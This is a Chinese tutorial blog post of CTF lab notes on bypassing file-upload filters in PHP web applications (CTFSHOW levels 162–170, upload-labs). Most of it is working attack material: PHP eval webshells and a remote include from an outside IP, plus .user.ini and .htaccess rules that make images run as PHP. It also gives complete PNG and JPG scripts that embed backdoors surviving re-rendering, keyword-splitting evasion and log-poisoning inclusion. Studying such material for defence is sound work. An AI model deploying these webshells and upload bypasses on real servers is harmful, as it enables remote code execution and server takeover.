day32WEB 攻防-通用漏洞&文件上传&二次渲染&.htaccess&变异免杀

本章节知识点:
1 、文件上传 - 二次渲染
2 、文件上传 - 简单免杀变异
3 、文件上传 -.htaccess 妙用
4 、文件上传 -PHP 语言特性
前置知识:
后门代码需要用特定格式后缀解析,不能以图片后缀解析脚本后门代码 ( 解析漏洞除外 )
如: jpg 图片里面有 php 后门代码,不能被触发,所以连接不上后门
如果要图片后缀解析脚本代码,一般会利用包含漏洞或解析漏洞,还 有.user.ini&.htaccess

.htaccess文件只能用于apahce,不能用于iisnginx等中间件

.user.ini只能用于Server APIFastCGI模式下,而正常情况下apache不是运行在此模块下的。

文件二次渲染:
1 、判断上传前和上传后的文件大小及内容
2 、判断上传后的文件返回数据包内容
CTFSHOW-文件上传-162 到 170 关卡

162 突破.过滤

过滤 . () {} ;
解题思路:通过.user.ini包含png文件,png文件包含远程可执行文件 
 <?=include'http://82.156.153.203/index.txt'?>
将后门代码写在index.txt文件里面,但是 .号也被过滤了,显然这样是不行的,这里我们要将IP地址转换成数字,这样就不存在 .
利用远程包含 IP 转换地址后调用执行
.user.ini :GIF89a auto_prepend_file=png
png: GIF89a <?=include'http://1385994699/';?>

163 突破上传删除

过滤 . () {} ; 等 同时文件被删除,png上传成功后会自动删除
1,什么都删除
2,有后门代码就删除
解决办法:
1,可以利用条件竞争:在上传成功后,立马访问,创建型代码(代码被执行后重新创建一个 文件)
2,直接利用.user.ini 包含远程
GIF89a auto_prepend_file=http://1385994699/

GIF二次渲染

upload-labs靶场第17关:这一关对上传图片进行了判断了后缀名content-type以及利用imagecreatefromgif判断是否为gif图片,最后再做了一次二次渲染

实验所用GIF图片:https://wwe.lanzoui.com/iFSwwn53jaf

实验所用16进制编码器:

链接:https://pan.baidu.com/s/1ovltmHJvuNvzySELsuCEKg?pwd=hy4e 
提取码:hy4e 

将上传成功之后的图片下载

将上传的图片和上传后的图片用16进制编辑器打开,发现两张图片有些地方不一样,明明是同一张图片,为什么会不一样,因为我们将图片上传后,后台对它进行了二次渲染,导致了一些内容的改变。这样就可能导致我们长传的图片马失效,因为写后门代码的地方可能会被处理。

我们尝试将后门代码<?=eval($_POST[pass]);?>写在文件头部,然后保存重新上传。

上传成功之后再次打开发现后门代码不见了。

再次尝试将后门代码写到文件尾部。

然后打开上传之后的图片,在文件头不发现了后门代码,并没有删除。

然后上传.user.ini文件,用.user.ini包含a1118962020.gif,尝试用哥斯拉连接

164 png 二次渲染 

手工虽然也能够绕过二次渲染,但是几率不大,运气不好的时候可能要多次尝试

这里建议用脚本注入后门,这样绕过的几率会大一些

png绕过代码:

<?php

$p = array(0xa3, 0x9f, 0x67, 0xf7, 0x0e, 0x93, 0x1b, 0x23,
           0xbe, 0x2c, 0x8a, 0xd0, 0x80, 0xf9, 0xe1, 0xae,
           0x22, 0xf6, 0xd9, 0x43, 0x5d, 0xfb, 0xae, 0xcc,
           0x5a, 0x01, 0xdc, 0x5a, 0x01, 0xdc, 0xa3, 0x9f,
           0x67, 0xa5, 0xbe, 0x5f, 0x76, 0x74, 0x5a, 0x4c,
           0xa1, 0x3f, 0x7a, 0xbf, 0x30, 0x6b, 0x88, 0x2d,
           0x60, 0x65, 0x7d, 0x52, 0x9d, 0xad, 0x88, 0xa1,
           0x66, 0x44, 0x50, 0x33);
$img = imagecreatetruecolor(32, 32);

for ($y = 0; $y < sizeof($p); $y += 3) {
   $r = $p[$y];
   $g = $p[$y+1];
   $b = $p[$y+2];
   $color = imagecolorallocate($img, $r, $g, $b);
   imagesetpixel($img, round($y / 3), 0, $color);
}

imagepng($img,'1.png');  //要修改的图片的路径
/* 木马内容
<?$_GET[0]($_POST[1]);?>
 */

?>
将要修改的图片放在代码同目录,然后运行即可
get 0=system
post 1=tac flag.php

165 jpg 二次渲染

jpg绕过代码:

<?php
    $miniPayload = "<?=eval(\$_POST[1]);?>";


    if(!extension_loaded('gd') || !function_exists('imagecreatefromjpeg')) {
        die('php-gd is not installed');
    }

    if(!isset($argv[1])) {
        die('php jpg_payload.php <jpg_name.jpg>');
    }

    set_error_handler("custom_error_handler");

    for($pad = 0; $pad < 1024; $pad++) {
        $nullbytePayloadSize = $pad;
        $dis = new DataInputStream($argv[1]);
        $outStream = file_get_contents($argv[1]);
        $extraBytes = 0;
        $correctImage = TRUE;

        if($dis->readShort() != 0xFFD8) {
            die('Incorrect SOI marker');
        }

        while((!$dis->eof()) && ($dis->readByte() == 0xFF)) {
            $marker = $dis->readByte();
            $size = $dis->readShort() - 2;
            $dis->skip($size);
            if($marker === 0xDA) {
                $startPos = $dis->seek();
                $outStreamTmp = 
                    substr($outStream, 0, $startPos) . 
                    $miniPayload . 
                    str_repeat("\0",$nullbytePayloadSize) . 
                    substr($outStream, $startPos);
                checkImage('_'.$argv[1], $outStreamTmp, TRUE);
                if($extraBytes !== 0) {
                    while((!$dis->eof())) {
                        if($dis->readByte() === 0xFF) {
                            if($dis->readByte !== 0x00) {
                                break;
                            }
                        }
                    }
                    $stopPos = $dis->seek() - 2;
                    $imageStreamSize = $stopPos - $startPos;
                    $outStream = 
                        substr($outStream, 0, $startPos) . 
                        $miniPayload . 
                        substr(
                            str_repeat("\0",$nullbytePayloadSize).
                                substr($outStream, $startPos, $imageStreamSize),
                            0,
                            $nullbytePayloadSize+$imageStreamSize-$extraBytes) . 
                                substr($outStream, $stopPos);
                } elseif($correctImage) {
                    $outStream = $outStreamTmp;
                } else {
                    break;
                }
                if(checkImage('payload_'.$argv[1], $outStream)) {
                    die('Success!');
                } else {
                    break;
                }
            }
        }
    }
    unlink('payload_'.$argv[1]);
    die('Something\'s wrong');

    function checkImage($filename, $data, $unlink = FALSE) {
        global $correctImage;
        file_put_contents($filename, $data);
        $correctImage = TRUE;
        imagecreatefromjpeg($filename);
        if($unlink)
            unlink($filename);
        return $correctImage;
    }

    function custom_error_handler($errno, $errstr, $errfile, $errline) {
        global $extraBytes, $correctImage;
        $correctImage = FALSE;
        if(preg_match('/(\d+) extraneous bytes before marker/', $errstr, $m)) {
            if(isset($m[1])) {
                $extraBytes = (int)$m[1];
            }
        }
    }

    class DataInputStream {
        private $binData;
        private $order;
        private $size;

        public function __construct($filename, $order = false, $fromString = false) {
            $this->binData = '';
            $this->order = $order;
            if(!$fromString) {
                if(!file_exists($filename) || !is_file($filename))
                    die('File not exists ['.$filename.']');
                $this->binData = file_get_contents($filename);
            } else {
                $this->binData = $filename;
            }
            $this->size = strlen($this->binData);
        }

        public function seek() {
            return ($this->size - strlen($this->binData));
        }

        public function skip($skip) {
            $this->binData = substr($this->binData, $skip);
        }

        public function readByte() {
            if($this->eof()) {
                die('End Of File');
            }
            $byte = substr($this->binData, 0, 1);
            $this->binData = substr($this->binData, 1);
            return ord($byte);
        }

        public function readShort() {
            if(strlen($this->binData) < 2) {
                die('End Of File');
            }
            $short = substr($this->binData, 0, 2);
            $this->binData = substr($this->binData, 2);
            if($this->order) {
                $short = (ord($short[1]) << 8) + ord($short[0]);
            } else {
                $short = (ord($short[0]) << 8) + ord($short[1]);
            }
            return $short;
        }

        public function eof() {
            return !$this->binData||(strlen($this->binData) === 0);
        }
    }
?>

166 zip 调用包含

直接上传 zip 后修改代码
<?=eval($_POST[x]);?>

167 .htaccess 妙用

.htaccess 默认不支持 nginx ,支持apache,设置后支持nginx
.htaccess 可以通过设置实现文件解析配置
.png 后缀的文件解析成 php
(1)SetHandler 指令
# 将images.png 当做 PHP 执行
<FilesMatch  "images.png">
SetHandler  application/x-httpd-php
</FilesMatch>
(2)AddType

# 将 .jpg(.xxx) 当做 PHP 文件解析
AddType application/x-httpd-php .jpg(.xxx)
upload-labs靶场第四关
上传text.png
上传.htaccess文件

168 免杀后门

可以上传php文件,但是后门代码会限制,过滤了一些关键词,eval,system等

将system拆分,然后直接读取对应文件

<?php $a='syste';$b='m';$c=$a.$b;$c('tac ../flaga.php');?>

169 170 日志包含

构造 .user.ini 利用条件:目录要有首页文件, index.php(首页指向文件)  内容随意
目录没有首页文件,可以让.user.ini包含日志文件,将后门代码写入到日志文件
上传.user.ini 包含日志:auto_prepend_file=/var/log/nginx/access.log

  • 32
    点赞
  • 16
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值